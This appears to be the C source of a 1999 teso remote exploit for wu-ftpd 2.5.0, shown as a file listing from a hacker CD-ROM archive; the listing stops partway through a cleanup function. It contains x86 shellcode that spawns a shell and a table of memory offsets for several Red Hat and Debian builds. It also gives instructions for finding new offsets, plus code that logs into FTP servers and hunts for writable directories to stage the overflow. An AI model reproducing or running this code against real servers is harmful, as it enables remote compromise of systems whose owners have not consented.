home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / teso / ifafoffuffoffaf.c < prev    next >
C/C++ Source or Header  |  2002-05-07  |  29KB  |  1,392 lines

  1. <html>/*
  2.   <tmogg> ifaf ?
  3.   <typo_> integrated ftp attack facility
  4.   <ElCamTuf> ifafoffuffoffaf
  5.   <ElCamTuf> sounds much better
  6.  
  7. Code by typo/teso '99. http://teso.scene.at/ - DO NOT USE, DO NOT DISTRO.
  8. _----------------------------------------------------------------------------_
  9.     Ok, so edi found a way to bruteforce.. we made bruteforcing test code,
  10.     but wuftpd is too boring to finetune it.. enjoy this sploit in the
  11.     meanwhile. Send me offsets (see below) to typo@scene.at.
  12. -____________________________________________________________________________-
  13.  
  14. Contributors: 
  15.      Bulba of LaM3rZ (thanks for the shellcode and the example w.sh)
  16.      edi (found a way to only have to find 2(!) offsets, he is hardcore!)
  17.      lcamtuf (dziekuje tobie za ostatunia noc)
  18.      Grue (helped me thinking, and testing, rh5.2, rh5.1 offsets)
  19.      scut (minor include and style fixes)
  20.      smiler (asm bugfixing), stealth (hellkit rox)
  21.  
  22. Greets: Lam3rZ, ADM, THC, beavuh, and most other people that know us.
  23. */
  24.  
  25. #include <sys/types.h>
  26. #include <sys/socket.h>
  27. #include <sys/utsname.h>
  28. #include <sys/time.h>
  29. #include <netinet/in.h>
  30. #include <netdb.h>
  31. #include <fcntl.h>
  32. #include <unistd.h>
  33. #include <errno.h>
  34. #include <signal.h>
  35. #include <time.h>
  36. #include <getopt.h>
  37. #include <string.h>
  38. #include <stdlib.h>
  39. #include <stdio.h>
  40. #include <stdarg.h>
  41.  
  42. /* LaM3rZ shellcode */
  43. unsigned char lamerz[]=
  44.         "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
  45.         "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
  46.         "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
  47.         "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
  48.         "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
  49.         "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
  50.         "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
  51.         "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
  52.         "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
  53.         "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
  54.         "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67";
  55.  
  56. /* teso code: write(1,"teso\n",5); exit(0); */
  57. unsigned char testcode[] = 
  58.     "\xeb\x1c\x31\xc0\x59\x31\xd2\x31\xdb\xb3\x01\xb2\x05\xb0"
  59.     "\x0b\xfe\xc8\x88\x41\x04\xb0\x04\xcd\x80\x30\xdb\xb0\x01"
  60.     "\xcd\x80\xe8\xdf\xff\xff\xfftesox";
  61.  
  62. /* teso code: ioctl(, 0x5309, 0); */
  63. unsigned char cdcode[] =
  64.   "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x36\x5b\xff\x0b\xff\x4b\x04"
  65.   "\x4b\x80\x6b\x0b\x35\x43\x31\xc0\x31\xc9\x31\xd2\xb0\x05\x66\xb9\x04\x08"
  66.   "\x66\xba\x9a\x02\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x31\xd2\xb0\x36\x66\xb9"
  67.   "\x09\x53\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xc5\xff\xff\xff"
  68.   "\x30\x64\x65\x76\x30\x63\x64\x72\x6f\x6d\x35";
  69.  
  70. /* uh.. script kiddies suck. */
  71. char *shellcode = cdcode;
  72.  
  73. typedef struct dir *dirptr;
  74.  
  75. struct dir {
  76.     char    *name;
  77.     dirptr    next;
  78. } dirproto;
  79.  
  80. void    title (void);
  81. void    usage (const char *me);
  82. void    connect_to_ftp (void);
  83. void    log_into_ftp (void);
  84. void    parseargs (int argc, char **argv);
  85. void    cleanup_and_exit (void);
  86. int    x2port (const char *smtn);
  87. void    err (int syserr, const char *msg, ...);
  88. int    cwd (const char *path);
  89. int    mkd (char *name);
  90. int    rmd (char *name);
  91. int    is_writable (void);
  92. void    getpwd (void);
  93. int    recurse_writable (void);
  94. void    *xmalloc (size_t size);
  95. void    *xcalloc (int factor, size_t len);
  96. char    *xstrdup (const char *s);
  97. ssize_t    xread (int fd, void *buf, size_t count);
  98. ssize_t    xwrite (int fd, const void *buf, size_t count);
  99. int    xbind (int sockfd, struct sockaddr *my_addr, int addrlen);
  100. int    xsocket (int domain, int type, int protocol);
  101. int    xsetsockopt (int s, int level, int optname, const void *optval,
  102.     unsigned int optlen);
  103. int    xconnect (int  sockfd,  struct sockaddr *serv_addr, int addrlen);
  104. void    sighandler (int signal);
  105. struct hostent    *xgethostbyname (const char *name);
  106. struct hostent    *xgethostbyaddr (const char *addr, int len, int type);
  107. void    putserv (const char *fmt, ...);
  108. char    *getline (void);
  109. char    *getmsg (const char *msg);
  110. int    wuftpd_250_sploitit (void);
  111. dirptr    newdir (char *name);
  112. char    *getdir (char *stat);
  113. char    *int2char (int addr);
  114. int    check_test_return();
  115.  
  116. /*----------------------------------------------------------------
  117. ***                     How to get offsets                     ***
  118. ------------------------------------------------------------------
  119. Edis elite way of getting offsets:
  120.  
  121. objdump --disassemble in.ftpd | egrep -6 "3c 2e|0f bf 43 06" |
  122. grep "\$0x80" | awk '{print $8}'
  123. ------------------------------------------------------------------
  124. My lame way of getting offsets:
  125. (as many people have asked: search for ltrace at http://freshmeat.net/)
  126.  
  127. tty1:
  128. nc 0 21
  129. USER someuser
  130. PASS hispass
  131. tty2:
  132. ltrace -S -p pid_of_ftpd 2>&1 | egrep "SYS_chdir|longjmp"
  133. tty1:
  134. CWD /not/current/dir
  135. MOO
  136. QUIT
  137. tty2:
  138. first argument of first SYS_chdir is mapped_path offset.
  139. first argument of longjmp is errcatch offset
  140. ------------------------------------------------------------------
  141. try 4096 and/or 1024 for maxpathlen (works 99% of the time).
  142. ------------------------------------------------------------------*/
  143.  
  144. struct sploitdata {
  145.     char        *banner;
  146.     char        *desc;
  147.     char        pad_eax;
  148.     unsigned int    maxpathlen;
  149.     unsigned int    mapped_path;
  150.     unsigned int    errcatch;
  151.     int        (*code)();
  152.     int        need_writable;
  153. };
  154.  
  155. #define START_MAPPED 0x08060000
  156.  
  157. struct sploitdata spdata[] = {
  158.         {
  159.         "FTP server (Version wu-2.5.0(1) Tue Jun 8 08:55:12 EDT 1999)",
  160.         "rh6 - wu-ftpd-2.5.0-2.i386.rpm",
  161.             0,
  162.             4096,
  163.             0x0806a1e0,
  164.             0x08077fc0,
  165.         wuftpd_250_sploitit,
  166.         1,
  167.     },
  168.     {
  169.         "Fri May 21 10:45:57 EDT 1999",
  170.         "rh5.1 - wu-ftpd-2.5.0-1.RH5-1.i386.rpm",
  171.         0,
  172.         1024,
  173.         0x08066890,
  174.         0x0806fcc0,
  175.         wuftpd_250_sploitit,
  176.         1,
  177.     },
  178.     {
  179.         "Tue Jun 8 11:19:44 EDT 1999",
  180.         "rh5.2 - wu-ftpd-2.5.0-0.5.2.i386.rpm",
  181.         0,
  182.         1024,
  183.         0x08067504,
  184.         0x08077fc0,
  185.         wuftpd_250_sploitit,
  186.         1,
  187.     },
  188.     {
  189.         "FTP server (Version wu-2.5.0(1) Sat Sep 11 01:19:26 CEST 1999)",
  190.         "debian 2.1 - standard source compilation",
  191.         0,
  192.         1024,
  193.         0x806928c,
  194.         0x8071a80,
  195.         wuftpd_250_sploitit,
  196.         1,
  197.     },
  198.     {
  199.         "FTP server (Version wu-2.5.0(1)",
  200.         "rh6.0 wu-ftpd-2.5.0.tar.gz - standard source compilation",
  201.         0,
  202.         4096,
  203.         0x8068f80,
  204.         0x8076d60,
  205.         wuftpd_250_sploitit,
  206.         1,
  207.     },
  208.     {
  209.             NULL,
  210.             NULL,
  211.             0,
  212.             0,
  213.             0,
  214.             0,
  215.         NULL,
  216.         0,
  217.     }
  218. };
  219.  
  220. struct sploitdata *sptr = spdata;
  221.  
  222. int    debug = 0,
  223.     disp = 1,
  224.     fd = 0,
  225.     nostat = 1,
  226.     offset_selected = 0;
  227.  
  228. struct tesopt {
  229.     char            *user;
  230.     char            *host;
  231.     char            *pass;
  232.     char            *cwd;
  233.     char            *rev;
  234.     char            *dirname;
  235.     int            dirlen;
  236.     char            testonly;
  237.     char            dirscanonly;
  238.     unsigned short int    sport;
  239.     unsigned short int    port;
  240.     struct hostent        *he;
  241. } tesopt;
  242.  
  243. struct hostinf {
  244.     char    *header;
  245.     char    *pwd;
  246.     char    *writable_dir;
  247.     int    pwdlen;
  248. } hostinf;
  249.  
  250. #define COLOR
  251.  
  252. #ifdef COLOR
  253. #define C_NORM "\E[0m"
  254. #define C_BOLD "\E[1m"
  255. #define C_GREEN "\E[32m"
  256. #define C_RED "\E[31m"
  257. #define C_BROWN "\E[33m"
  258. #define C_BLUE "\E[34m"
  259. #define C_PINK "\E[35m"
  260. #define C_CYAN "\E[36m"
  261. #define C_YELL  "\E[33m"
  262. #else
  263. #define C_NORM ""
  264. #define C_BOLD ""
  265. #define C_GREEN ""
  266. #define C_RED ""
  267. #define C_BROWN ""
  268. #define C_BLUE ""
  269. #define C_PINK ""
  270. #define C_CYAN ""
  271. #define C_YELL  ""
  272. #endif
  273.  
  274. /* title
  275.  *
  276.  * print title
  277.  *
  278.  * no return value
  279.  */
  280. void
  281. title (void)
  282. {
  283.     printf (C_BOLD"---"C_GREEN"teso"C_NORM C_GREEN"ftpd"C_NORM C_BOLD"---"
  284.         C_NORM"\n");
  285.     return;
  286. }
  287.  
  288. /* newdir
  289.  *
  290.  * return a pointer to a new dir with name name
  291.  *
  292.  * pointer to dir structure
  293.  */
  294. dirptr
  295. newdir (char *name)
  296. {
  297.     dirptr    tmp;
  298.  
  299.     tmp = (dirptr) xmalloc (sizeof (dirproto));
  300.     tmp->name = xstrdup (name);
  301.     tmp->next = NULL;
  302.  
  303.     return (tmp);
  304. }
  305.  
  306. /* usage
  307.  *
  308.  * print usage
  309.  *
  310.  * no return value
  311.  */
  312. void
  313. usage (const char *me)
  314. {
  315.     struct sploitdata    *cow;
  316.     int            i = 0;
  317.     
  318. /*    printf ("usage: %s\n\n", me); */
  319.     printf ("-h              - this help\n"
  320.     "-s <server>     - specify server\n"
  321.     "-p <port>       - destination port\n"
  322.     "-f <sourceport> - source port\n"
  323.     "-v(v)           - increase verboseness, use twice for full verboseness\n"
  324.     "-u <user>       - user name to use for login\n"
  325.     "-P <pass>       - password to use for login\n"
  326.     "-c <startdir>   - directory to cwd to after login\n"
  327.     "-d <writedir>   - directory to test writeability with\n"
  328.     "-r <revhost>    - revlookup this host sees you with\n"
  329.     "-D <dirlen>     - specifies the directory length\n"
  330.     "-T              - use test shellcode (prints success, spawns no shell)\n"
  331.     "-t <type>:\n");
  332.  
  333.     for (cow = spdata ; cow->desc ; ++cow) {
  334.           printf ("%s-%s %3d %s%s-%s\n%s\n%s\n", C_BOLD, C_GREEN, i++, C_NORM,
  335.         C_BOLD, C_NORM, cow->banner, cow->desc);
  336.     }
  337.     printf ("%s-%s EOO %s%s-%s\n", C_BOLD, C_GREEN, C_NORM, C_BOLD, C_NORM);
  338.  
  339.     exit (EXIT_FAILURE);
  340. }
  341.  
  342. /* sighandler
  343.  *
  344.  * handle signals
  345.  *
  346.  * no return value
  347.  */
  348. void
  349. sighandler (const int signal)
  350. {
  351.     printf ("received signal: %d... exiting!\n", signal);
  352.     cleanup_and_exit ();
  353. }
  354.  
  355. /* err
  356.  *
  357.  * print an error message. if arg0 is set add an errno message (perror like)
  358.  * exit afterwards
  359.  *
  360.  * no return value
  361.  */
  362. void
  363. err (const int syserr, const char *msg, ...)
  364. {
  365.     va_list    ap;
  366.  
  367.     printf ("%serr:%s ", C_RED, C_NORM); 
  368.  
  369.     va_start (ap, msg);
  370.     vprintf (msg, ap);
  371.     va_end (ap);
  372.  
  373.     if (syserr) {
  374.         printf (": %s\n", sys_errlist[errno]);
  375.     } else {
  376.         printf ("\n");
  377.     }
  378.  
  379.     cleanup_and_exit();
  380.  
  381.     return;
  382. }
  383.  
  384. /* parseargs
  385.  *
  386.  * parse arguments
  387.  *
  388.  * no return value (exit on failure)
  389.  */
  390. void
  391. parseargs (int argc, char **argv)
  392. {
  393.     char    c;
  394.  
  395.     opterr = 0;
  396.     tesopt.user = "anonymous";
  397.     tesopt.pass = "m@y.kr";
  398.     tesopt.dirname = "tesotest";
  399.     tesopt.port = 21;
  400.     tesopt.sport = 666;
  401.     tesopt.cwd = "";
  402.     tesopt.dirlen = 255;
  403.     tesopt.testonly = 0;
  404.     tesopt.dirscanonly = 0;
  405.  
  406.     while ((c = getopt (argc, argv, "vhs:p:f:u:P:c:d:D:r:t:bTo")) != EOF) {
  407.         switch (c) {
  408.         case 'v':    ++debug;
  409.                 break;
  410.         case 'h':    usage (argv[0]);
  411.                 break;
  412.         case 's':    tesopt.host = optarg;
  413.                 break;
  414.         case 'p':    if (optarg != NULL)
  415.                     tesopt.port = x2port (optarg);
  416.                 break;
  417.         case 'f':    if (optarg != NULL)
  418.                     tesopt.sport = x2port (optarg);
  419.                 break;
  420.         case 'u':    if (optarg != NULL)
  421.                     tesopt.user = optarg;
  422.                 break;
  423.         case 'P':    if (optarg != NULL)
  424.                     tesopt.pass = optarg;
  425.                 break;
  426.         case 'c':    if (optarg != NULL)
  427.                     tesopt.cwd = optarg;
  428.                 break;
  429.         case 'd':    if (optarg != NULL)
  430.                     tesopt.dirname = optarg;
  431.                 break;
  432.         case 'r':    if (optarg != NULL)
  433.                     tesopt.rev = xstrdup (optarg);
  434.                 break;
  435.         case 'D':    tesopt.dirlen = atoi(optarg);
  436.                 break;
  437.         case 't':    sptr += atoi(optarg);
  438.                 offset_selected = 1;
  439.                 if (!sptr->desc) {
  440.                     err (0, "invalid offset set");
  441.                 }
  442.                 break;
  443.  
  444.         case 'T':    shellcode = testcode;
  445.                 tesopt.testonly = 1; break;
  446.         case 'o':    tesopt.dirscanonly = 1; break;
  447.  
  448.         }
  449.     }
  450.  
  451.     if (tesopt.host == NULL)
  452.         err (0, "server not specified (see -h)");
  453.     if (tesopt.port == 0)
  454.         err (0, "port not or incorrectly specified (see -h)");
  455.     if (tesopt.sport == 0)
  456.         err (0, "sport not or incorrectly specified (see -h)");
  457.  
  458.     if (tesopt.dirlen == 0)
  459.         err (0, "illegal dirlen!\n");
  460.  
  461.     tesopt.he = xgethostbyname (tesopt.host);
  462.  
  463.     return;
  464. }
  465.  
  466. struct hostent *
  467. xgethostbyname (const char *name)
  468. {
  469.     struct hostent    *tmp;
  470.  
  471.     tmp = gethostbyname (name);
  472.     if (tmp == NULL)
  473.         err (1, "cannot gethostbyname");
  474.  
  475.     return (tmp);
  476. }
  477.  
  478. struct hostent *
  479. xgethostbyaddr (const char *addr, int len, int type)
  480. {
  481.     struct hostent    *tmp;
  482.  
  483.     tmp = gethostbyaddr (addr, len, type);
  484.     if (tmp == NULL)
  485.         err(1,"cannot gethostbyaddr");
  486.  
  487.     return (tmp);
  488. }
  489.  
  490. /* xmalloc
  491.  *
  492.  * wrap malloc with error handling
  493.  *
  494.  * return or abort
  495.  */
  496. void *
  497. xmalloc (size_t size)
  498. {
  499.     void    *tmp = malloc (size);
  500.  
  501.     if (tmp == NULL)
  502.         err (1, "malloc failed");
  503.  
  504.     return (tmp);
  505. }
  506.  
  507. /* xcalloc
  508.  *
  509.  * wrap calloc with error handling
  510.  *
  511.  * return or abort
  512.  */
  513. void *
  514. xcalloc (int factor, size_t len)
  515. {
  516.     void    *new = calloc (factor, len);
  517.  
  518.     if (new == NULL)
  519.         err (1, "calloc failed");
  520.  
  521.     return (new);
  522. }
  523.  
  524. /* xstrdup
  525.  *
  526.  * wrap strdup with error handling
  527.  *
  528.  * return or abort
  529.  */
  530. char *
  531. xstrdup (const char *s)
  532. {
  533.     char    *tmp;
  534.  
  535.     tmp = strdup (s);
  536.     if (tmp == NULL)
  537.         err (1, "strdup failed");
  538.  
  539.     return (tmp);
  540. }
  541.  
  542. /* xread
  543.  *
  544.  * read with error handling
  545.  *
  546.  * return length of readen data
  547.  */
  548. ssize_t
  549. xread (int fd, void *buf, size_t count)
  550. {
  551.     int    tmp;
  552.  
  553.     tmp = read (fd, buf, count);
  554.     if (tmp < 1)
  555.         err (1, "read failed");
  556.  
  557.     return (tmp);
  558. }
  559.  
  560. /* xwrite
  561.  *
  562.  * write with error handling
  563.  *
  564.  * return length of written data
  565.  */
  566. ssize_t
  567. xwrite (int fd, const void *buf, size_t count)
  568. {
  569.     int    tmp;
  570.  
  571.     tmp = write (fd, buf, count);
  572.     if (tmp < 0)
  573.         err (1, "write failed");
  574.  
  575.     return (tmp);
  576. }
  577.  
  578. /* xbind
  579.  *
  580.  * bind with error handling
  581.  *
  582.  * return bound socket
  583.  */
  584. int
  585. xbind (int sockfd, struct sockaddr *my_addr, int addrlen)
  586. {
  587.     int    tmp;
  588.  
  589.     tmp = bind (sockfd, (struct sockaddr *) my_addr, addrlen);
  590.     if (tmp < 0)
  591.         err (1, "bind failed");
  592.  
  593.     return (tmp);
  594. }
  595.  
  596. /* xsocket
  597.  *
  598.  * socket with error handling
  599.  *
  600.  * return allocated socket descriptor
  601.  */
  602. int
  603. xsocket (int domain, int type, int protocol)
  604. {
  605.     int    tmp;
  606.  
  607.     tmp = socket (domain, type, protocol);
  608.     if (tmp < 0)
  609.         err (1, "socket failed");
  610.  
  611.     return (tmp);
  612. }
  613.  
  614. /* xsetsockopt
  615.  *
  616.  * setsockopt with error handling
  617.  */
  618. int
  619. xsetsockopt (int s, int level, int optname, const void *optval,
  620.     unsigned int optlen)
  621. {
  622.     int    tmp;
  623.  
  624.     tmp = setsockopt (s, level, optname, optval, optlen);
  625.     if (tmp < 0)
  626.         err (1, "setsockopt failed");
  627.  
  628.     return (tmp);
  629. }
  630.  
  631. /* xconnect
  632.  *
  633.  * connect with error handling
  634.  */
  635. int
  636. xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen)
  637. {
  638.     int    tmp;
  639.  
  640.     tmp = connect (sockfd, serv_addr, addrlen);
  641.     if (tmp < 0)
  642.         err (1, "connect failed");
  643.  
  644.     return (tmp);
  645. }
  646.  
  647.  
  648. /* connect_to_ftp
  649.  *
  650.  * connect to ftpserver and resolve local ip
  651.  *
  652.  * return nothing
  653.  */
  654. void
  655. connect_to_ftp (void)
  656. {
  657.     int            i = 1;
  658.     struct sockaddr_in    sin;
  659.     struct hostent        *he;
  660.     
  661.     
  662.     fd = xsocket (AF_INET, SOCK_STREAM, 0);
  663.     xsetsockopt (fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof (i));
  664.     
  665.     bzero (&sin, sizeof (sin));
  666.     
  667.     sin.sin_family = AF_INET;
  668. //    sin.sin_port = htons (tesopt.sport);
  669.     sin.sin_addr.s_addr = 0;
  670.     
  671.    xbind (fd, (struct sockaddr*) &sin, sizeof (sin));
  672.     
  673.     sin.sin_port = htons (tesopt.port);
  674.     sin.sin_family = AF_INET;
  675.  
  676.     memcpy (&sin.sin_addr.s_addr, tesopt.he->h_addr, sizeof (struct in_addr));
  677.  
  678.     xconnect (fd, (struct sockaddr*) &sin, sizeof (sin));
  679.  
  680.     /* this is a good time to get our revlookup (if not user defined) */
  681.     if (tesopt.rev == NULL) {
  682.            i = sizeof (sin);
  683.         getsockname (fd, (struct sockaddr *) &sin, &i);
  684.            he = gethostbyaddr ((char *) &sin.sin_addr, 
  685.                 sizeof (sin.sin_addr), AF_INET);
  686.          tesopt.rev = xstrdup (he->h_name);
  687.     }
  688.     printf ("Connected! revlookup is: %s, logging in...\n", tesopt.rev);
  689.  
  690.     return;
  691. }
  692.  
  693. /* putserv
  694.  *
  695.  * send data to the server
  696.  */
  697. void
  698. putserv (const char *fmt, ...)
  699. {
  700.     va_list        ap;
  701.     unsigned char    output[1024];
  702.     int        i, total;
  703.  
  704.     memset (output, '\0', sizeof (output));
  705.     va_start (ap, fmt);
  706.     vsnprintf (output, sizeof (output) - 1, fmt, ap);
  707.     va_end (ap);
  708.  
  709.     /* this is edis code
  710.      */
  711.     total = strlen (output);
  712.     for (i = 0; i < total; i++) {
  713.         if (output[i] == 0xff) {
  714.             memmove (output + i + 1, output + i, total - i);
  715.             total++;
  716.             i++;
  717.         }
  718.     }
  719.  
  720.     if (disp != 0 && (debug > 1))
  721.         printf ("%s%s%s", C_BLUE, output, C_NORM);
  722.  
  723.     xwrite (fd, output, total);
  724.  
  725.     return;
  726. }
  727.  
  728. #define LINEBUFLEN 8192
  729. char    linebuf[LINEBUFLEN];  /* saves us free()ing trouble. */
  730.  
  731. /* getline
  732.  *
  733.  * get next line from server or local buffer
  734.  */
  735. char *
  736. getline (void)
  737. {
  738.     char    y[2];
  739.     int    i = 0;
  740.  
  741.     memset (linebuf, '\0', sizeof (linebuf));
  742.     strcpy (y, "x");
  743.  
  744.     while (strncmp (y, "\n", 1) != 0) {
  745.         if (i > (sizeof (linebuf) + 2)) {
  746.             err (0, "getline() buffer full");
  747.         }
  748.         i += xread (fd, y, 1);
  749.         strcat (linebuf, y);
  750.     }
  751.  
  752.     if (disp != 0 && debug > 0) {
  753. #ifdef COLOR
  754.         if (nostat != 0) {
  755.             char    color[64];
  756.  
  757.             memset (color, '\0', sizeof (color));
  758.  
  759.             switch (linebuf[0]) {
  760.             case '2':    strcpy (color, C_CYAN);
  761.                     break;
  762.             case '3':    strcpy (color, C_BROWN);
  763.                     break;
  764.             case '4':    strcpy (color, C_RED);
  765.                     break;
  766.             case '5':    strcpy (color, C_RED);
  767.                     break;
  768.             default:    break;
  769.             }
  770.  
  771.             printf ("%s", color);
  772.         }
  773. #endif
  774.         if (nostat != 0 || debug > 1)
  775.             printf ("%s", linebuf);
  776. #ifdef COLOR
  777.         if (nostat != 0)
  778.             printf ("%s", C_NORM);
  779. #endif
  780.     }
  781.  
  782.     return (linebuf);
  783. }
  784.  
  785. /* getmsg
  786.  *
  787.  * discard lines until expected response or error is reported
  788.  */
  789. char *
  790. getmsg (const char *msg)
  791. {
  792.     char    *line;
  793.     int    i = strlen (msg);
  794.  
  795.     do {
  796.         line = getline ();
  797.     } while (strncmp (line, msg, i) != 0 && strncmp (line, "5", 1) != 0);
  798.  
  799.     return (line);
  800. }
  801.  
  802. /* log_into_ftp
  803.  *
  804.  * log into the ftp server given the login name and password
  805.  *
  806.  * return nothing
  807.  */
  808. void
  809. log_into_ftp (void)
  810. {
  811.     char    *line;
  812.     char    foundmatch=0;
  813.  
  814.     line = getmsg ("220 ");
  815.     hostinf.header = xstrdup (line);
  816.  
  817.     if (!debug)
  818.         printf("%s", line);
  819.     if (!offset_selected) {
  820.             for (sptr = spdata ; sptr->banner ; ++sptr) {
  821.         if (strstr(line, sptr->banner)) {
  822.             foundmatch=1;
  823.             break;
  824.         }
  825.         }
  826.         if (!foundmatch)
  827.         err(0, "No offset selected, and no matching banner found!");
  828.     }
  829.  
  830.     printf ("Using offsets from: %s\n", sptr->desc);
  831.  
  832.     putserv ("USER %s\n", tesopt.user);
  833.     getmsg ("331 ");
  834.     putserv ("PASS %s\n", tesopt.pass);
  835.     line = getmsg ("230 ");
  836.     if (strncmp ("5", line, 1) == 0)
  837.         err (0, "login not accepted!\n");
  838.  
  839.     if (strlen (tesopt.cwd) > 0) {
  840.         if (cwd (tesopt.cwd) == 0) { 
  841.             err (0, "initial CWD failed.");
  842.         }
  843.     }
  844.  
  845.     getpwd ();
  846.  
  847.     return;
  848. }
  849.  
  850. /* recurse_writable
  851.  *
  852.  * recursively scans for writable dirs, starting in CWD
  853.  *
  854.  * return 1 for CWD is writable
  855.  * return 0 for no writable dir found
  856.  */
  857. int
  858. recurse_writable (void)
  859. {
  860.     dirptr    dirroot = NULL,
  861.         current = NULL,
  862.         prev = NULL;
  863.     char    *line = "",
  864.         *tmp = "";
  865.  
  866.     if (is_writable () != 0)
  867.         return (1);
  868.  
  869.     nostat = 0; 
  870.     putserv ("STAT .\n");
  871.  
  872.     while (strncmp (line, "213 ", 4) != 0) {
  873.         line = getline ();
  874.         tmp = getdir (line);
  875.  
  876.         if (tmp == NULL)
  877.             continue;
  878.         if (dirroot == NULL) {
  879.             current = dirroot = newdir (tmp);
  880.             continue;
  881.         }
  882.  
  883.         current->next = newdir (tmp);
  884.         current = current->next;
  885.     }
  886.  
  887.     nostat = 1; 
  888.     current = dirroot;
  889.  
  890.     while (current != NULL) {
  891.         if (cwd (current->name)) {
  892.             if (recurse_writable ())
  893.                 return (1);
  894.             cwd ("..");
  895.         }
  896.  
  897.         prev = current;
  898.         current = current->next;
  899.         free (prev->name);
  900.         free (prev);
  901.     }
  902.  
  903.     return (0);
  904. }
  905.  
  906. /* mkd
  907.  *
  908.  * make a directory
  909.  *
  910.  * return 0 on success
  911.  * return 1 if the directory already exists
  912.  * retrun 2 on error
  913.  */
  914. int
  915. mkd (char *name)
  916. {
  917.     char    *line;
  918.  
  919.     putserv ("MKD %s\n", name);
  920.     line = getmsg ("257 ");
  921.  
  922.     if (strncmp ("521 ", line, 4) == 0)
  923.         return (1);
  924.  
  925.     if (strncmp ("257 ", line, 4) == 0)
  926.         return (0);
  927.  
  928.     return (2);
  929. }
  930.  
  931.  
  932. /* rmd
  933.  *
  934.  * remove a directory
  935.  *
  936.  * return 0 on success
  937.  * return 1 on failure
  938.  */
  939. int
  940. rmd (char *name)
  941. {
  942.     char    *line;
  943.  
  944.     putserv ("RMD %s\n", name);
  945.     line = getmsg ("250 ");
  946.  
  947.     if (strncmp("250 ", line, 4) == 0)
  948.         return (0);
  949.  
  950.     return (1);
  951. }
  952.  
  953. /* is_writeable
  954.  *
  955.  * check whether the current working directory is writeable
  956.  *
  957.  * return 1 if it is
  958.  * return 0 if it is not
  959.  */
  960. int
  961. is_writable (void)
  962. {
  963.     int    i = 0,
  964.         is = 0;
  965.  
  966. redo:
  967.     if (++i > 3)
  968.         return (0);
  969.  
  970.     is = mkd (tesopt.dirname);
  971.     if (is == 1) {
  972.         printf ("leet.. our file already exists.. delete and retry\n");
  973.         rmd (tesopt.dirname);
  974.  
  975.         goto redo;
  976.     } else if (is == 0) {
  977.         rmd (tesopt.dirname);
  978.  
  979.         return (1);
  980.     }
  981.  
  982.     return (0);
  983. }
  984.  
  985. /* cwd
  986.  *
  987.  * change current working directory on the ftp server
  988.  *
  989.  * return 1 on success
  990.  * return 0 on failure
  991.  */
  992. int
  993. cwd (const char *path)
  994. {
  995.     char    *line;
  996.  
  997.     if (debug != 0)
  998.         printf ("CWD %s\n", path);
  999.  
  1000.     putserv ("CWD %s\n", path);
  1001.     line = getmsg ("250 ");
  1002.  
  1003.     if (strncmp ("250 ",line, 4) == 0)
  1004.         return (1);
  1005.  
  1006.     return (0);
  1007. }
  1008.  
  1009. /* getpwd
  1010.  *
  1011.  * sets hostinf.pwd to CWD
  1012.  *
  1013.  * returns nothing 
  1014.  */
  1015. void
  1016. getpwd (void)
  1017. {
  1018.     char    *tmp,
  1019.         *line;
  1020.     char    *chr,
  1021.         *rchr;
  1022.  
  1023.     putserv ("PWD\n");
  1024.     line = getmsg ("257 ");
  1025.     if (strncmp ("257 ", line, 4) != 0)
  1026.         err (0, "getpwd failed: incorrect answer: %s", line);
  1027.  
  1028.     /* too long, but for sure long enough. */
  1029.     tmp = xcalloc (strlen (line) + 1, 1);
  1030.     
  1031.     chr = strchr (line, '"');
  1032.     rchr = strrchr (line, '"');
  1033.  
  1034.     if (chr == NULL)
  1035.         err (0, "no \"'s in getpwd.");
  1036.  
  1037.     if (chr == rchr)
  1038.         err (0, "only one \" in getpwd.");
  1039.  
  1040.     if ((rchr - chr) < 2)
  1041.         err (0, "pwd too short?");
  1042.  
  1043.     strncat (tmp, chr + 1, rchr - chr - 1);
  1044.  
  1045.     if (hostinf.pwd != NULL)
  1046.         free (hostinf.pwd);
  1047.  
  1048.     hostinf.pwd = xstrdup (tmp);
  1049.     free (tmp);
  1050.  
  1051.     hostinf.pwdlen = strlen (hostinf.pwd);
  1052. /*    printf("current pwd is %s\n", hostinf.pwd); */
  1053. }
  1054.  
  1055. /* getdir
  1056.  *
  1057.  * get directory from a STAT string (parsing works with wuftpd AND proftpd)
  1058.  *
  1059.  * return pointer to directory name on success
  1060.  * return NULL on failure/not a directory
  1061.  */
  1062. char *
  1063. getdir (char *stat)
  1064. {
  1065.     char    *dir = stat;
  1066.  
  1067.     if (strlen (dir) < 57)
  1068.         return (NULL);
  1069.  
  1070.     if (strncmp (" ", dir, 1) == 0)
  1071.         ++dir;
  1072.     if (strncmp ("d", dir, 1) != 0)
  1073.         return (NULL);
  1074.  
  1075.     dir += 55;
  1076.     dir[strlen (dir) - 2] = 0;
  1077. /*    printf("strlen is %d for %s",strlen(dir), dir); */
  1078.  
  1079.     if (strcmp (".", dir) == 0 || strcmp ("..", dir) == 0)
  1080.         return (NULL);
  1081.  
  1082.     return (dir);
  1083. }
  1084.  
  1085. /* cleanup_and_exit
  1086.  *
  1087.  * cleanup functions on exit
  1088.  *
  1089.  * return nothing
  1090.  */
  1091. void
  1092. cleanup_and_exit (void)
  1093. {
  1094.     free (tesopt.rev);
  1095.     free (hostinf.header);
